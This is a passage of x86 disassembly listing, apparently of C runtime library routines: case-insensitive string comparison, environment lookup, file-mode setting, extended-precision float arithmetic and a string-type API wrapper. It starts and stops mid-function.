loc_42F57C: ; CODE XREF: sub_42F560+28j
; sub_42F560+48j
or al, al
jz short loc_42F5AE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_42F57C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_42F57C
sbb al, al
sbb al, 0FFh
loc_42F5AE: ; CODE XREF: sub_42F560+1Ej
movsx eax, al
jmp short loc_42F62B
; ---------------------------------------------------------------------------
loc_42F5B3: ; CODE XREF: sub_42F560+16j
lock inc dword_49274C
cmp dword_492748, 0
jg short loc_42F5C7
push 0
jmp short loc_42F5DC
; ---------------------------------------------------------------------------
loc_42F5C7: ; CODE XREF: sub_42F560+61j
lock dec dword_49274C
push 13h
call sub_41BC90
mov [esp+10h+var_10], 1
loc_42F5DC: ; CODE XREF: sub_42F560+65j
mov eax, 0FFh
xor ebx, ebx
nop
loc_42F5E4: ; CODE XREF: sub_42F560+90j
; sub_42F560+A8j
or al, al
jz short loc_42F60F
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_42F5E4
push eax
push ebx
call sub_41AEE0
mov ebx, eax
add esp, 4
call sub_41AEE0
add esp, 4
cmp bl, al
jz short loc_42F5E4
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42F60F: ; CODE XREF: sub_42F560+86j
mov ebx, eax
pop eax
or eax, eax
jnz short loc_42F61F
lock dec dword_49274C
jmp short loc_42F629
; ---------------------------------------------------------------------------
loc_42F61F: ; CODE XREF: sub_42F560+B4j
push 13h
call sub_41BD30
add esp, 4
loc_42F629: ; CODE XREF: sub_42F560+BDj
mov eax, ebx
loc_42F62B: ; CODE XREF: sub_42F560+51j
pop ebx
pop esi
pop edi
leave
retn
sub_42F560 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F630 proc near ; CODE XREF: sub_42B010+11Bp
; sub_42B010+2D4p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
or ecx, ecx
jz loc_42F72A
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
lea eax, dword_492168
cmp dword ptr [eax+8], 0
jnz short loc_42F6A1
mov bh, 41h
mov bl, 5Ah
mov dh, 20h
lea ecx, [ecx+0]
loc_42F65C: ; CODE XREF: sub_42F630+53j
mov ah, [esi]
or ah, ah
mov al, [edi]
jz short loc_42F685
or al, al
jz short loc_42F685
inc esi
inc edi
cmp ah, bh
jb short loc_42F674
cmp ah, bl
ja short loc_42F674
add ah, dh
loc_42F674: ; CODE XREF: sub_42F630+3Cj
; sub_42F630+40j
cmp al, bh
jb short loc_42F67E
cmp al, bl
ja short loc_42F67E
add al, dh
loc_42F67E: ; CODE XREF: sub_42F630+46j
; sub_42F630+4Aj
cmp ah, al
jnz short loc_42F68F
dec ecx
jnz short loc_42F65C
loc_42F685: ; CODE XREF: sub_42F630+32j
; sub_42F630+36j
xor ecx, ecx
cmp ah, al
jz loc_42F72A
loc_42F68F: ; CODE XREF: sub_42F630+50j
mov ecx, 0FFFFFFFFh
jb loc_42F72A
neg ecx
jmp loc_42F72A
; ---------------------------------------------------------------------------
loc_42F6A1: ; CODE XREF: sub_42F630+21j
lock inc dword_49274C
cmp dword_492748, 0
jg short loc_42F6B5
push 0
jmp short loc_42F6CE
; ---------------------------------------------------------------------------
loc_42F6B5: ; CODE XREF: sub_42F630+7Fj
lock dec dword_49274C
mov ebx, ecx
push 13h
call sub_41BC90
mov [esp+10h+var_10], 1
mov ecx, ebx
loc_42F6CE: ; CODE XREF: sub_42F630+83j
xor eax, eax
xor ebx, ebx
mov edi, edi
loc_42F6D4: ; CODE XREF: sub_42F630+CDj
mov al, [esi]
or eax, eax
mov bl, [edi]
jz short loc_42F6FF
or ebx, ebx
jz short loc_42F6FF
inc esi
inc edi
push ecx
push eax
push ebx
call sub_41AEE0
mov ebx, eax
add esp, 4
call sub_41AEE0
add esp, 4
pop ecx
cmp eax, ebx
jnz short loc_42F705
dec ecx
jnz short loc_42F6D4
loc_42F6FF: ; CODE XREF: sub_42F630+AAj
; sub_42F630+AEj
xor ecx, ecx
cmp eax, ebx
jz short loc_42F70E
loc_42F705: ; CODE XREF: sub_42F630+CAj
mov ecx, 0FFFFFFFFh
jb short loc_42F70E
neg ecx
loc_42F70E: ; CODE XREF: sub_42F630+D3j
; sub_42F630+DAj
pop eax
or eax, eax
jnz short loc_42F71C
lock dec dword_49274C
jmp short loc_42F72A
; ---------------------------------------------------------------------------
loc_42F71C: ; CODE XREF: sub_42F630+E1j
mov ebx, ecx
push 13h
call sub_41BD30
add esp, 4
mov ecx, ebx
loc_42F72A: ; CODE XREF: sub_42F630+Bj
; sub_42F630+59j ...
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_42F630 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 0Ch
call sub_41BC90
add esp, 4
mov eax, [ebp+8]
push eax
call sub_42F770
add esp, 4
mov [ebp-4], eax
push 0Ch
call sub_41BD30
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F770 proc near ; CODE XREF: sub_42BAC0+3Ap
; .text:0042F752p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword_4920B0
mov [ebp+var_8], eax
cmp dword_493788, 0
jnz short loc_42F78E
xor eax, eax
jmp loc_42F832
; ---------------------------------------------------------------------------
loc_42F78E: ; CODE XREF: sub_42F770+15j
cmp [ebp+var_8], 0
jnz short loc_42F7B6
cmp dword_4920B8, 0
jz short loc_42F7B6
call sub_430240
test eax, eax
jz short loc_42F7AD
xor eax, eax
jmp loc_42F832
; ---------------------------------------------------------------------------
loc_42F7AD: ; CODE XREF: sub_42F770+34j
mov ecx, dword_4920B0
mov [ebp+var_8], ecx
loc_42F7B6: ; CODE XREF: sub_42F770+22j
; sub_42F770+2Bj
cmp [ebp+var_8], 0
jz short loc_42F830
cmp [ebp+arg_0], 0
jz short loc_42F830
mov edx, [ebp+arg_0]
push edx
call sub_418E70
add esp, 4
mov [ebp+var_4], eax
loc_42F7D1: ; CODE XREF: sub_42F770+BEj
mov eax, [ebp+var_8]
cmp dword ptr [eax], 0
jz short loc_42F830
mov ecx, [ebp+var_8]
mov edx, [ecx]
push edx
call sub_418E70
add esp, 4
cmp eax, [ebp+var_4]
jbe short loc_42F825
mov eax, [ebp+var_8]
mov ecx, [eax]
mov edx, [ebp+var_4]
movsx eax, byte ptr [ecx+edx]
cmp eax, 3Dh
jnz short loc_42F825
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax]
push ecx
call sub_4301F0
add esp, 0Ch
test eax, eax
jnz short loc_42F825
mov edx, [ebp+var_8]
mov eax, [edx]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx+1]
jmp short loc_42F832
; ---------------------------------------------------------------------------
loc_42F825: ; CODE XREF: sub_42F770+7Aj
; sub_42F770+8Bj ...
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_42F7D1
; ---------------------------------------------------------------------------
loc_42F830: ; CODE XREF: sub_42F770+4Aj
; sub_42F770+50j ...
xor eax, eax
loc_42F832: ; CODE XREF: sub_42F770+19j
; sub_42F770+38j ...
mov esp, ebp
pop ebp
retn
sub_42F770 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, dword_492520
jnb short loc_42F871
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42F881
loc_42F871: ; CODE XREF: .text:0042F84Dj
call sub_422F20
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_42F8AF
; ---------------------------------------------------------------------------
loc_42F881: ; CODE XREF: .text:0042F86Fj
mov edx, [ebp+8]
push edx
call sub_4280C0
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_42F8C0
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_428150
add esp, 4
mov eax, [ebp-4]
loc_42F8AF: ; CODE XREF: .text:0042F87Fj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F8C0 proc near ; CODE XREF: sub_42C610+D4p
; sub_42C610+1A6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 8000h
jnz short loc_42F929
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
mov cl, [eax+edx+4]
and cl, 7Fh
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, dword_492420[edx*4]
mov [edx+eax+4], cl
jmp short loc_42F97A
; ---------------------------------------------------------------------------
loc_42F929: ; CODE XREF: sub_42F8C0+2Ej
cmp [ebp+arg_4], 4000h
jnz short loc_42F96A
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_492420[eax*4]
mov al, [edx+ecx+4]
or al, 80h
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, dword_492420[ecx*4]
mov [ecx+edx+4], al
jmp short loc_42F97A
; ---------------------------------------------------------------------------
loc_42F96A: ; CODE XREF: sub_42F8C0+70j
call sub_422F20
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_42F98B
; ---------------------------------------------------------------------------
loc_42F97A: ; CODE XREF: sub_42F8C0+67j
; sub_42F8C0+A8j
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
and eax, 0FFFFC000h
add eax, 8000h
loc_42F98B: ; CODE XREF: sub_42F8C0+B8j
mov esp, ebp
pop ebp
retn
sub_42F8C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F990 proc near ; CODE XREF: sub_42D6C0+2B5p
; sub_42FDD0+B5p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
mov word ptr [ebp+var_2C], 0
mov [ebp+var_4], 0
mov [ebp+var_14], 0
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov cx, [eax+0Ah]
mov word ptr [ebp+var_18], cx
mov edx, [ebp+arg_4]
mov ax, [edx+0Ah]
mov word ptr [ebp+var_20], ax
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
mov edx, [ebp+var_20]
and edx, 0FFFFh
xor ecx, edx
and ecx, 8000h
mov word ptr [ebp+var_2C], cx
mov ax, word ptr [ebp+var_18]
and ax, 7FFFh
mov word ptr [ebp+var_18], ax
mov cx, word ptr [ebp+var_20]
and cx, 7FFFh
mov word ptr [ebp+var_20], cx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_20]
and eax, 0FFFFh
add edx, eax
mov word ptr [ebp+var_30], dx
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jge short loc_42FA4D
mov edx, [ebp+var_20]
and edx, 0FFFFh
cmp edx, 7FFFh
jge short loc_42FA4D
mov eax, [ebp+var_30]
and eax, 0FFFFh
cmp eax, 0BFFDh
jle short loc_42FA84
loc_42FA4D: ; CODE XREF: sub_42F990+9Bj
; sub_42F990+ACj
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
neg ecx
sbb ecx, ecx
and ecx, 80000000h
add ecx, 7FFF8000h
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
jmp loc_42FDC9
; ---------------------------------------------------------------------------
loc_42FA84: ; CODE XREF: sub_42F990+BBj
mov edx, [ebp+var_30]
and edx, 0FFFFh
cmp edx, 3FBFh
jg short loc_42FAB7
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp loc_42FDC9
; ---------------------------------------------------------------------------
loc_42FAB7: ; CODE XREF: sub_42F990+103j
mov eax, [ebp+var_18]
and eax, 0FFFFh
test eax, eax
jnz short loc_42FAFD
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and eax, 7FFFFFFFh
test eax, eax
jnz short loc_42FAFD
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_42FAFD
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0
jnz short loc_42FAFD
mov eax, [ebp+arg_0]
mov word ptr [eax+0Ah], 0
jmp loc_42FDC9
; ---------------------------------------------------------------------------
loc_42FAFD: ; CODE XREF: sub_42F990+131j
; sub_42F990+14Cj ...
mov ecx, [ebp+var_20]
and ecx, 0FFFFh
test ecx, ecx
jnz short loc_42FB59
mov dx, word ptr [ebp+var_30]
add dx, 1
mov word ptr [ebp+var_30], dx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
and ecx, 7FFFFFFFh
test ecx, ecx
jnz short loc_42FB59
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jnz short loc_42FB59
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_42FB59
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+4], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
jmp loc_42FDC9
; ---------------------------------------------------------------------------
loc_42FB59: ; CODE XREF: sub_42F990+178j
; sub_42F990+194j ...
mov [ebp+var_28], 0
mov [ebp+var_1C], 0
jmp short loc_42FB72
; ---------------------------------------------------------------------------
loc_42FB69: ; CODE XREF: sub_42F990+29Cj
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_42FB72: ; CODE XREF: sub_42F990+1D7j
cmp [ebp+var_1C], 5
jge loc_42FC31
mov edx, [ebp+var_1C]
shl edx, 1
mov [ebp+var_24], edx
mov [ebp+var_8], 8
mov eax, 5
sub eax, [ebp+var_1C]
mov [ebp+var_34], eax
jmp short loc_42FBA1
; ---------------------------------------------------------------------------
loc_42FB98: ; CODE XREF: sub_42F990+28Ej
mov ecx, [ebp+var_34]
sub ecx, 1
mov [ebp+var_34], ecx
loc_42FBA1: ; CODE XREF: sub_42F990+206j
cmp [ebp+var_34], 0
jle short loc_42FC23
mov edx, [ebp+arg_0]
add edx, [ebp+var_24]
mov [ebp+var_38], edx
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
mov [ebp+var_3C], eax
mov ecx, [ebp+var_28]
lea edx, [ebp+ecx+var_14]
mov [ebp+var_40], edx
mov eax, [ebp+var_38]
xor ecx, ecx
mov cx, [eax]
mov edx, [ebp+var_3C]
xor eax, eax
mov ax, [edx]
imul ecx, eax
mov [ebp+var_44], ecx
mov ecx, [ebp+var_40]
push ecx
mov edx, [ebp+var_44]
push edx
mov eax, [ebp+var_40]
mov ecx, [eax]
push ecx
call sub_42C840
add esp, 0Ch
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jz short loc_42FC0C
mov edx, [ebp+var_28]
mov ax, word ptr [ebp+edx+var_10]
add ax, 1
mov ecx, [ebp+var_28]
mov word ptr [ebp+ecx+var_10], ax
loc_42FC0C: ; CODE XREF: sub_42F990+266j
mov edx, [ebp+var_24]
add edx, 2
mov [ebp+var_24], edx
mov eax, [ebp+var_8]
sub eax, 2
mov [ebp+var_8], eax
jmp loc_42FB98
; ---------------------------------------------------------------------------
loc_42FC23: ; CODE XREF: sub_42F990+215j
mov ecx, [ebp+var_28]
add ecx, 2
mov [ebp+var_28], ecx
jmp loc_42FB69
; ---------------------------------------------------------------------------
loc_42FC31: ; CODE XREF: sub_42F990+1E6j
mov dx, word ptr [ebp+var_30]
sub dx, 3FFEh
mov word ptr [ebp+var_30], dx
loc_42FC3E: ; CODE XREF: sub_42F990+2DBj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jle short loc_42FC6D
mov ecx, [ebp+var_C]
and ecx, 80000000h
test ecx, ecx
jnz short loc_42FC6D
lea edx, [ebp+var_14]
push edx
call sub_42C930
add esp, 4
mov ax, word ptr [ebp+var_30]
sub ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_42FC3E
; ---------------------------------------------------------------------------
loc_42FC6D: ; CODE XREF: sub_42F990+2B4j
; sub_42F990+2C1j
movsx ecx, word ptr [ebp+var_30]
test ecx, ecx
jg short loc_42FCCD
mov dx, word ptr [ebp+var_30]
sub dx, 1
mov word ptr [ebp+var_30], dx
loc_42FC81: ; CODE XREF: sub_42F990+32Aj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jge short loc_42FCBC
mov ecx, [ebp+var_14]
and ecx, 0FFFFh
and ecx, 1
test ecx, ecx
jz short loc_42FCA2
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42FCA2: ; CODE XREF: sub_42F990+307j
lea eax, [ebp+var_14]
push eax
call sub_42C990
add esp, 4
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
jmp short loc_42FC81
; ---------------------------------------------------------------------------
loc_42FCBC: ; CODE XREF: sub_42F990+2F7j
cmp [ebp+var_4], 0
jz short loc_42FCCD
mov dx, word ptr [ebp+var_14]
or dl, 1
mov word ptr [ebp+var_14], dx
loc_42FCCD: ; CODE XREF: sub_42F990+2E3j
; sub_42F990+330j
mov eax, [ebp+var_14]
and eax, 0FFFFh
cmp eax, 8000h
jg short loc_42FCED
mov ecx, [ebp+var_14]
and ecx, 1FFFFh
cmp ecx, 18000h
jnz short loc_42FD4E
loc_42FCED: ; CODE XREF: sub_42F990+34Aj
cmp [ebp+var_14+2], 0FFFFFFFFh
jnz short loc_42FD45
mov [ebp+var_14+2], 0
cmp [ebp+var_10+2], 0FFFFFFFFh
jnz short loc_42FD3A
mov [ebp+var_10+2], 0
mov edx, [ebp+var_C+2]
and edx, 0FFFFh
cmp edx, 0FFFFh
jnz short loc_42FD2C
mov word ptr [ebp+var_C+2], 8000h
mov ax, word ptr [ebp+var_30]
add ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_42FD38
; ---------------------------------------------------------------------------
loc_42FD2C: ; CODE XREF: sub_42F990+386j
mov cx, word ptr [ebp+var_C+2]
add cx, 1
mov word ptr [ebp+var_C+2], cx
loc_42FD38: ; CODE XREF: sub_42F990+39Aj
jmp short loc_42FD43
; ---------------------------------------------------------------------------
loc_42FD3A: ; CODE XREF: sub_42F990+36Ej
mov edx, [ebp+var_10+2]
add edx, 1
mov [ebp+var_10+2], edx
loc_42FD43: ; CODE XREF: sub_42F990:loc_42FD38j
jmp short loc_42FD4E
; ---------------------------------------------------------------------------
loc_42FD45: ; CODE XREF: sub_42F990+361j
mov eax, [ebp+var_14+2]
add eax, 1
mov [ebp+var_14+2], eax
loc_42FD4E: ; CODE XREF: sub_42F990+35Bj
; sub_42F990:loc_42FD43j
mov ecx, [ebp+var_30]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jl short loc_42FD93
mov edx, [ebp+var_2C]
and edx, 0FFFFh
neg edx
sbb edx, edx
and edx, 80000000h
add edx, 7FFF8000h
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp short loc_42FDC9
; ---------------------------------------------------------------------------
loc_42FD93: ; CODE XREF: sub_42F990+3CDj
mov eax, [ebp+arg_0]
mov cx, word ptr [ebp+var_14+2]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_10]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+6], edx
mov eax, [ebp+var_30]
and eax, 0FFFFh
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
loc_42FDC9: ; CODE XREF: sub_42F990+EFj
; sub_42F990+122j ...
mov esp, ebp
pop ebp
retn
sub_42F990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FDD0 proc near ; CODE XREF: sub_42CB40+914p
; sub_42D6C0+288p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, offset dword_4440E0
sub eax, 60h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 0
jnz short loc_42FDEC
jmp loc_42FE8F
; ---------------------------------------------------------------------------
loc_42FDEC: ; CODE XREF: sub_42FDD0+15j
cmp [ebp+arg_4], 0
jge short loc_42FE05
mov ecx, [ebp+arg_4]
neg ecx
mov [ebp+arg_4], ecx
mov edx, offset dword_444240
sub edx, 60h
mov [ebp+var_4], edx
loc_42FE05: ; CODE XREF: sub_42FDD0+20j
cmp [ebp+arg_8], 0
jnz short loc_42FE13
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_42FE13: ; CODE XREF: sub_42FDD0+39j
; sub_42FDD0+6Aj ...
cmp [ebp+arg_4], 0
jz short loc_42FE8F
mov ecx, [ebp+var_4]
add ecx, 54h
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
and edx, 7
mov [ebp+var_18], edx
mov eax, [ebp+arg_4]
sar eax, 3
mov [ebp+arg_4], eax
cmp [ebp+var_18], 0
jnz short loc_42FE3C
jmp short loc_42FE13
; ---------------------------------------------------------------------------
loc_42FE3C: ; CODE XREF: sub_42FDD0+68j
mov ecx, [ebp+var_18]
imul ecx, 0Ch
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 8000h
jl short loc_42FE7D
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_14], eax
mov ecx, [edx+4]
mov [ebp+var_10], ecx
mov edx, [edx+8]
mov [ebp+var_C], edx
mov eax, [ebp+var_14+2]
sub eax, 1
mov [ebp+var_14+2], eax
lea ecx, [ebp+var_14]
mov [ebp+var_8], ecx
loc_42FE7D: ; CODE XREF: sub_42FDD0+88j
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42F990
add esp, 8
jmp short loc_42FE13
; ---------------------------------------------------------------------------
loc_42FE8F: ; CODE XREF: sub_42FDD0+17j
; sub_42FDD0+47j
mov esp, ebp
pop ebp
retn
sub_42FDD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FEA0 proc near ; CODE XREF: sub_42F050+19Cp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_433CF0
push offset sub_425F84
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_492400, 0
jnz short loc_42FF12
push 0
push 0
push 1
push 0
call ds:dword_4942A0
test eax, eax
jz short loc_42FEED
mov dword_492400, 1
jmp short loc_42FF12
; ---------------------------------------------------------------------------
loc_42FEED: ; CODE XREF: sub_42FEA0+3Fj
push 0
push 0
push 1
push 0
call ds:dword_4943F0
test eax, eax
jz short loc_42FF0B
mov dword_492400, 2
jmp short loc_42FF12
; ---------------------------------------------------------------------------
loc_42FF0B: ; CODE XREF: sub_42FEA0+5Dj
xor eax, eax
jmp loc_430021
; ---------------------------------------------------------------------------
loc_42FF12: ; CODE XREF: sub_42FEA0+2Dj
; sub_42FEA0+4Bj ...
cmp dword_492400, 1
jnz short loc_42FF36
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4942A0
jmp loc_430021
; ---------------------------------------------------------------------------
loc_42FF36: ; CODE XREF: sub_42FEA0+79j
cmp dword_492400, 2
jnz loc_43001F
cmp [ebp+arg_10], 0
jnz short loc_42FF52
mov ecx, dword_492180
mov [ebp+arg_10], ecx
loc_42FF52: ; CODE XREF: sub_42FEA0+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4943F0
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_42FF74
xor eax, eax
jmp loc_430021
; ---------------------------------------------------------------------------
loc_42FF74: ; CODE XREF: sub_42FEA0+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
add eax, 3
and al, 0FCh
call sub_418D40
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42FFB4
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_42FFB4: ; CODE XREF: sub_42FEA0+FBj
cmp [ebp+var_20], 0
jnz short loc_42FFBE
xor eax, eax
jmp short loc_430021
; ---------------------------------------------------------------------------
loc_42FFBE: ; CODE XREF: sub_42FEA0+118j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4943F0
test eax, eax
jnz short loc_42FFDC
xor eax, eax
jmp short loc_430021
; ---------------------------------------------------------------------------
loc_42FFDC: ; CODE XREF: sub_42FEA0+136j
cmp [ebp+arg_C], 0
jnz short loc_42FFFD
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 1
mov ecx, [ebp+arg_10]
push ecx
call ds:dword_4942D4
mov [ebp+var_24], eax
jmp short loc_43001A
; ---------------------------------------------------------------------------
loc_42FFFD: ; CODE XREF: sub_42FEA0+140j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call ds:dword_4942D4
mov [ebp+var_24], eax
loc_43001A: ; CODE XREF: sub_42FEA0+15Bj
mov eax, [ebp+var_24]
jmp short loc_430021
; ---------------------------------------------------------------------------
loc_43001F: ; CODE XREF: sub_42FEA0+9Dj
xor eax, eax
loc_430021: ; CODE XREF: sub_42FEA0+6Dj
; sub_42FEA0+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42FEA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430040 proc near ; CODE XREF: sub_42F050+4Bp
; sub_42F050+7Ep ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_433D00
push offset sub_425F84
loc_43004F: ; DATA XREF: .data:00434550o
; .data:00434564o
mov eax, large fs:0
